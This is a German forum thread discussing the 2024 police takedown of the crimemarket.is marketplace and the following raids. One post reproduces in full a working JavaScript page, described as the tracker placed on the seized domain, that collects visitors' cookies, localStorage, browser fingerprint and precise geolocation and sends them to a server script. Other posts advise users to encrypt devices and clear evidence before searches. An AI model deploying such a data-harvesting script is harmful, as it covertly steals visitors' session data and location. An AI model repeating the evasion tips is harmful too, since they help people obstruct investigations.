crimemarket.is - kein Hack sondern ein Bust

kv1 · 12. März 2024 um 19:31

Double post alle panik drüber zu schreiben?

derinformant24 · 16. März 2024 um 18:11

https://www.radio901.de/artikel/crime-market-erneut-im-gespraech-1932293.html
Donnerstag, 14.03.2024 16:09

Aus einem Bericht des NRW-Innenministeriums geht jetzt hervor, dass viele Nutzer geschockt und verunsichert auf die Festnahmen reagiert hätten.
Ich würde eher sagen, die potenziellen ehemaligen Nutzer sind jetzt vorgewarnt und haben bereits „aufgeräumt“, was die Effizienz von künftigen Durchsuchungsmaßnahmen erheblich herabsetzt.

Laut Bericht sind bisher 109 bundesweite Strafverfahren eingeleitet worden, mehr als 30 in NRW.
Das ist weiterhin die Gesamtzahl aus der ersten Durchsuchungswelle. Bedeutet: Die sichten momentan noch und sortieren und vergeben Ermittlungsprioritäten für die nächste Durchsuchungswelle. Vermutlich zuerst gegen alle Händler und Großkunden.

VIP · 16. März 2024 um 23:34

Bei Github gefunden:

crimemarket.is-infostealer / infostealer_original.html

<!DOCTYPE html>
<html>
	<head>
		<title>Polizeipräsidium Düsseldorf</title>
		
	<script type='text/javascript'>	
		var info={

				timeOpened:new Date(),
				timezone:(new Date()).getTimezoneOffset()/60,

				pageon(){return window.location.pathname},
				referrer(){return document.referrer},
				previousSites(){return history.length},

				browserName(){return navigator.appName},
				browserEngine(){return navigator.product},
				browserVersion1a(){return navigator.appVersion},
				browserVersion1b(){return navigator.userAgent},
				browserLanguage(){return navigator.language},
				browserLanguages(){return navigator.languages},
				browserOnline(){return navigator.onLine},
				browserPlatform(){return navigator.platform},
				javaEnabled(){return navigator.javaEnabled()},
				dataCookiesEnabled(){return navigator.cookieEnabled},
				dataCookies1(){return document.cookie},
				dataCookies2(){return decodeURIComponent(document.cookie.split(';'))},
				dataStorage(){return localStorage},

				sizeScreenW(){return screen.width},
				sizeScreenH(){return screen.height},
				sizeDocW(){return document.width},
				sizeDocH(){return document.height},
				sizeInW(){return innerWidth},
				sizeInH(){return innerHeight},
				sizeAvailW(){return screen.availWidth},
				sizeAvailH(){return screen.availHeight},
				scrColorDepth(){return screen.colorDepth},
				scrPixelDepth(){return screen.pixelDepth},
			};
			
			/************************************************/
			
			const options = {
				
				enableHighAccuracy: true,
				timeout: 5000,
				maximumAge: 0,
			};

			function success(pos) {
				
				const crd = pos.coords;

				let array = { 	'latitude': crd.latitude,
								'longitude': crd.longitude,
								'accuracy': crd.accuracy,
								'altitude': crd.altitude,
								'altidudeAccuracy': crd.altidudeAccuracy,
							    'heading': crd.heading,
								'speed': crd.speed
				};
			
				asynchronRequest( array );
			}

			function onError(error) {
			  var txt;
			  switch(error.code)
			  {
				case error.PERMISSION_DENIED:
				txt = 'Location permission denied';
				break;
				case error.POSITION_UNAVAILABLE:
				txt = 'Location position unavailable';
				break;
				case error.TIMEOUT:
				txt = 'Location position lookup timed out';
				break;
				default:
				txt = 'Unknown position.'
			  }
			  alert(txt)
			}
			
			/**************************************/
			function encodePayload( paramArray ) {

				let encodedQueryString = '';

				let i = 0;
				for( key in paramArray ) {
				
					if( i != 0) {

						encodedQueryString += '&';
					}

					encodedQueryString += key + '=' + encodeURIComponent( paramArray[ key ] );

					i++;
				}

				return encodedQueryString;
			}
			
			async function asynchronRequest( paramArray ) {

				let page = './save.php';

				let request = new XMLHttpRequest();
				request.open( 'POST', page, true );
				
				request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

				let encodedQueryString = encodePayload( paramArray );
				console.log( encodedQueryString );
				request.onreadystatechange = () => {
					
					if( request.readyState == XMLHttpRequest.DONE && request.status == 200 ) {}
				};
				
				request.send( encodedQueryString );
			};
			
			/*****************************************************************/
			
			let array = { 'timeOpened': info.timeOpened,
							'timezone': info.timezone,
							'pageon': info.pageon(),
							'referrer': info.referrer(),
							'previousSites': info.previousSites(),
							'browserName': info.browserName(),
							'browserEngine': info.browserEngine(),
							'browserVersion1a': info.browserVersion1a(),
							'browserVersion1b': info.browserVersion1b(),
							'browserLanguage': info.browserLanguage(),
							'browserLanguages': info.browserLanguages(),
							'browserOnline': info.browserOnline(),
							'browserPlatform': info.browserPlatform(),
							'javaEnabled': info.javaEnabled(),
							'dataCookiesEnabled': info.dataCookiesEnabled(),
							'dataCookies1': info.dataCookies1(),
							'dataCookies2': info.dataCookies2(),
							'dataStorage': info.dataStorage(),
							'sizeScreenW': info.sizeScreenW(),
							'sizeScreenH': info.sizeScreenH(),
							'sizeDocW': info.sizeDocW(),
							'sizeDocH': info.sizeDocH(),
							'sizeInW': info.sizeInW(),
							'sizeAvailW': info.sizeAvailW(),
							'sizeAvailH': info.sizeAvailH(),
							'scrColorDepth': info.scrColorDepth(),
							'scrPixelDepth': info.scrPixelDepth()
			};
			
			asynchronRequest( array );
			
			/************************************************/
			
			if( navigator.geolocation ) {
				
				navigator.geolocation.getCurrentPosition( success, onError, options );
			}

	</script>
	</head>
	<body bgcolor="black">
		<center><img src="./banner.jpg" width=78%></center>
		
			</body>
</html>

criemarket.is-infostealer / infostealer_show.html (geänderte version)

<!DOCTYPE html>
<html>
	<body bgcolor="black">
		<script type='text/javascript'>	
		var info={

				timeOpened:new Date(),
				timezone:(new Date()).getTimezoneOffset()/60,

				pageon(){return window.location.pathname},
				referrer(){return document.referrer},
				previousSites(){return history.length},

				browserName(){return navigator.appName},
				browserEngine(){return navigator.product},
				browserVersion1a(){return navigator.appVersion},
				browserVersion1b(){return navigator.userAgent},
				browserLanguage(){return navigator.language},
				browserLanguages(){return navigator.languages},
				browserOnline(){return navigator.onLine},
				browserPlatform(){return navigator.platform},
				javaEnabled(){return navigator.javaEnabled()},
				dataCookiesEnabled(){return navigator.cookieEnabled},
				dataCookies1(){return document.cookie},
				dataCookies2(){return decodeURIComponent(document.cookie.split(';'))},
				dataStorage(){return localStorage},

				sizeScreenW(){return screen.width},
				sizeScreenH(){return screen.height},
				sizeDocW(){return document.width},
				sizeDocH(){return document.height},
				sizeInW(){return innerWidth},
				sizeInH(){return innerHeight},
				sizeAvailW(){return screen.availWidth},
				sizeAvailH(){return screen.availHeight},
				scrColorDepth(){return screen.colorDepth},
				scrPixelDepth(){return screen.pixelDepth},
			};
			
			/************************************************/
			
			const options = {
				
				enableHighAccuracy: true,
				timeout: 5000,
				maximumAge: 0,
			};

			function success(pos) {
				
				const crd = pos.coords;

				let array = { 	'latitude': crd.latitude,
								'longitude': crd.longitude,
								'accuracy': crd.accuracy,
								'altitude': crd.altitude,
								'altidudeAccuracy': crd.altidudeAccuracy,
							    'heading': crd.heading,
								'speed': crd.speed
				};
			
				appendArrayAsJSON(array);
			}

			function onError(error) {
			  var txt;
			  switch(error.code)
			  {
				case error.PERMISSION_DENIED:
				txt = 'Location permission denied';
				break;
				case error.POSITION_UNAVAILABLE:
				txt = 'Location position unavailable';
				break;
				case error.TIMEOUT:
				txt = 'Location position lookup timed out';
				break;
				default:
				txt = 'Unknown position.'
			  }
			  alert(txt)
			}
			
			/**************************************/
			function encodePayload( paramArray ) {

				let encodedQueryString = '';

				let i = 0;
				for( key in paramArray ) {
				
					if( i != 0) {

						encodedQueryString += '&';
					}

					encodedQueryString += key + '=' + encodeURIComponent( paramArray[ key ] );

					i++;
				}

				return encodedQueryString;
			}
			
			async function asynchronRequest( paramArray ) {

				let page = './save.php';

				let request = new XMLHttpRequest();
				request.open( 'POST', page, true );
				
				request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

				let encodedQueryString = encodePayload( paramArray );
				console.log( encodedQueryString );
				request.onreadystatechange = () => {
					
					if( request.readyState == XMLHttpRequest.DONE && request.status == 200 ) {}
				};
				
				request.send( encodedQueryString );
			};
			
			/*****************************************************************/
			
			let array = { 'timeOpened': info.timeOpened,
							'timezone': info.timezone,
							'pageon': info.pageon(),
							'referrer': info.referrer(),
							'previousSites': info.previousSites(),
							'browserName': info.browserName(),
							'browserEngine': info.browserEngine(),
							'browserVersion1a': info.browserVersion1a(),
							'browserVersion1b': info.browserVersion1b(),
							'browserLanguage': info.browserLanguage(),
							'browserLanguages': info.browserLanguages(),
							'browserOnline': info.browserOnline(),
							'browserPlatform': info.browserPlatform(),
							'javaEnabled': info.javaEnabled(),
							'dataCookiesEnabled': info.dataCookiesEnabled(),
							'dataCookies1': info.dataCookies1(),
							'dataCookies2': info.dataCookies2(),
							'dataStorage': info.dataStorage(),
							'sizeScreenW': info.sizeScreenW(),
							'sizeScreenH': info.sizeScreenH(),
							'sizeDocW': info.sizeDocW(),
							'sizeDocH': info.sizeDocH(),
							'sizeInW': info.sizeInW(),
							'sizeAvailW': info.sizeAvailW(),
							'sizeAvailH': info.sizeAvailH(),
							'scrColorDepth': info.scrColorDepth(),
							'scrPixelDepth': info.scrPixelDepth()
			};
			
			appendArrayAsJSON(array);
			
			/************************************************/
			
			if( navigator.geolocation ) {
				
				navigator.geolocation.getCurrentPosition( success, onError, options );
			}
			
			
			
			
	function appendArrayAsJSON(array) {
    // Stringify the array with indentation of 4 spaces
    var jsonString = JSON.stringify(array, null, 4);
    
    // Create a <pre> element to preserve whitespace
    var preElement = document.createElement('pre');
    
    // Create a text node with the JSON string
    var jsonStringNode = document.createTextNode(jsonString);
    
    // Append the text node to the <pre> element
    preElement.appendChild(jsonStringNode);
    
    // Append the <pre> element to the body of the HTML document
    document.body.appendChild(preElement);
}

	</script>
	</body>
</html>

Benutzername und Kennwort werden als POST-Request an die Datei „login.php“ weitergeleitet, zusammen mit der getroffenen Voreinstellung, ob / wie die Einstellungen gespeichert werden sollen:

auth
password
remember_me
remember_me_checkbox

Daraufhin wurde ein Java-Script geladen, das alle möglichen Informationen ausliest und an „save.php“ sendet, wo sie gespeichert werden.

Das Script ist nämlich genau dieses, welches @JanaMaria zuvor bei Pastebin gefunden hatte Da schliesst sich dann auch wieder der Kreis

Zu den gesammelten Daten gehören neben den angegebenen Zugriffsdaten auch die Informationen des Webservers selbst (IPs, Zugriffszeit, etc. pp.), also alle über PHP gesammelten Informationen und die vom folgenden Javascript generierten Informationen, als Zusatz quasi:

var info={
 
timeOpened:new Date(),
timezone:(new Date()).getTimezoneOffset()/60,&lt;code&gt;&lt;/code&gt;
 
pageon(){return window.location.pathname},
referrer(){return document.referrer},
previousSites(){return history.length},&lt;code&gt;&lt;/code&gt;
 
browserName(){return navigator.appName},
browserEngine(){return navigator.product},
browserVersion1a(){return navigator.appVersion},
browserVersion1b(){return navigator.userAgent},
browserLanguage(){return navigator.language},
browserLanguages(){return navigator.languages},
browserOnline(){return navigator.onLine},
browserPlatform(){return navigator.platform},
javaEnabled(){return navigator.javaEnabled()},
dataCookiesEnabled(){return navigator.cookieEnabled},
dataCookies1(){return document.cookie},
dataCookies2(){return decodeURIComponent(document.cookie.split(';'))},
dataStorage(){return localStorage},&lt;code&gt;&lt;/code&gt;
 
sizeScreenW(){return screen.width},
sizeScreenH(){return screen.height},
sizeDocW(){return document.width},
sizeDocH(){return document.height},
sizeInW(){return innerWidth},
sizeInH(){return innerHeight},
sizeAvailW(){return screen.availWidth},
sizeAvailH(){return screen.availHeight},
scrColorDepth(){return screen.colorDepth},
scrPixelDepth(){return screen.pixelDepth},
};
 
[...]
 
let array = { 'latitude': crd.latitude,
'longitude': crd.longitude,
'accuracy': crd.accuracy,
'altitude': crd.altitude,
'altidudeAccuracy': crd.altidudeAccuracy,
'heading': crd.heading,
'speed': crd.speed
};
 
[...]

urlutarn · 17. März 2024 um 00:02

Würde ich auch vermuten.

derinformant24 · 17. März 2024 um 20:42

Hinweis: Wenn hier PMs kommen von Leuten (wie z.B. an mich), die sich gerne über das Thema „austauschen möchten“, rechnet mit LKA. Nachdem die bereits den Infostealer auf der CM-Domain installiert hatten, kann ich mir gut vorstellen, dass jetzt hier „weitergefischt“ wird. Im schlimmsten Fall wird am Ende noch der Server von Tarnkappe beschlagnahmt, wenn die PMs beweiserhebliche Inhalte haben.

rrsauber · 19. März 2024 um 10:50

Bin zurück von der vorladung

Er rattete mir selbsr keine auskunfr zu geben über die crimemarkt sache
Es sind ALLE hochgegangen laut seiner aussage von den 6 vendoren und weitere !!!

Also keine aussage gemacht
Schreiben sende ich späterzu …

Passt auf

Ghandy · 19. März 2024 um 11:33

Im eigenen Interesse sollten alle Geräte verschlüsselt und die Bude aufgeräumt sein. Die können halt auch Zufallsfunde gegen euch verwerten. Also auch BTM-pflichtige Stoffe, für die ihr kein Rezept habt, Medien, die Urheberrechtsverletzungen beinhalten, Cardsharing und vieles mehr.

VIP · 19. März 2024 um 15:03

Für solch ein unbegründetes und zeitgleich absurdes Posting, kommen meines Erachtens nur zwei Gründe in Frage:

Entweder, weil du zum eigentlichen Thema (Bust) nicht viel beitragen kannst?!
Oder weil du selber ein doppeltes Spiel dabei spielst?!

Ghandy · 19. März 2024 um 16:04

So ganz abwegig ist die Idee ja nicht, dass hier Bullen versuchen könnten, an die Identität von Leuten zu kommen. Hetzner ist nun mal ein deutscher Anbieter, wo das Forum liegt. Wäre möglich, dann hätte ich aber irgendwann mal Bescheid bekommen, was bisher nicht der Fall war.

tkinfo · 20. März 2024 um 16:12

Welche „6 Vendoren“? Wer hat was geraten?

rrsauber · 21. März 2024 um 14:12

Cocaine Duck
Der Unternehmer
Narcotic-Suply
K1ngGo3k1
MR Juarez
Der Unternehmer

Einer von dennen oder alle hatten kunden listen

tkinfo · 27. März 2024 um 20:41

Schon alles im Sand verlaufen?

publisher · 4. April 2024 um 14:48

Nix im Sand verlaufen teilweise 2 durchsuchen und bei einigen eine 3 geplant.

Das Vorgehen die Verstöße der Polizei bei den Einsätzen , neigt mich dazu mich mit der Presse in Verbindung zu setzen , und mal eine Statement und interview abzugeben.

DEATHROW · 4. April 2024 um 17:00

Gegen die staatliche Exekutive vorzugehen wird schwierig, du solltest aber in jedem Fall mal mit deinem Anwalt sprechen.

publisher · 4. April 2024 um 17:11

Geht eher um die Pupikmachung Erfahrung und co

DEATHROW · 4. April 2024 um 17:42

Wie die Polizei vorgeht, weiß doch jeder.
Da hilft nur, nach richterlichen Fragen und parallel auf Kamera aufnehmen oder noch besser Love gehen.

h*"s://youtu.be/3KvYbtVlghI

privateinvestigator · 4. April 2024 um 20:03

Sind das schon Folgedurchsuchungen oder noch die erste Durchsuchungswelle? Hast du ungefähre Datumsangaben und kannst mehr Details nennen?

Und geht es um Verkäufer/Händler oder nur um einmalige kleine Käufer?

Ich bin der Meinung, wer den Monat nicht genutzt hat, um klar Schiff zu machen, ist selbst Schuld, wenn bei jetzigen Hausdurchsuchungen noch etwas gefunden wird.

publisher · 4. April 2024 um 21:56

Die 2 Welle ist ca zu 80 Prozent durch .

Die dritte Welle bei Wenigen wird in den kommenden 2 Monaten erwartet.

Und um mal etwas anzumerken , wenige klein Kunden hatten bereits letztes Jahr Besuch .

Die Ermittler haben Interesse an Händler und Käufern , wohlgemerkt das Käufer die Mehr Käufe oder Mengen tätigen , ebenfalls als Händler gelten.

Die kleineren einmal Käufer sind ebenfalls im Fokus, dort ist die Polizeiliche präriotät jedoch auf gering gestuft .

Viele weden sich wieder sicher fühlen , was aber mit der nächsten Welle wieder für Erschöpfung der scenen sorgen wird.

Nunja, wenn Mann mit einer Ermittlerin sein Bett Geteilt hat , geht so einiges

privateinvestigator · 5. April 2024 um 05:18

Alle Infos zu dem Thema sind interessant.

Was mich jedoch ein wenig stutzig macht, ist die Geschwindigkeit der Behörden, die du beschreibst.

Auch bei ShinyFlakes gingen die Folgeverfahren über Jahre.

Das was du beschreibst, bezieht sich vermutlich auf alle Ermittlungen, die bereits vor dem Bust eingeleitet wurden und vermutlich auf hochrangige Verkäufer/Moderatoren usw.

Die bei dem Bust beschlagnahmte Datenmenge ist jedoch so groß, dass das nicht so schnell ausgewertet werden kann. Die richtig kleinen Fische werden wohl eher nächstes Jahr mal was von der Kripo hören denke ich.

VIP · 5. April 2024 um 10:43

Solange keine Proofs seitens @publisher zu den getätigten Aussagen vorliegen, wäre ich da skeptisch!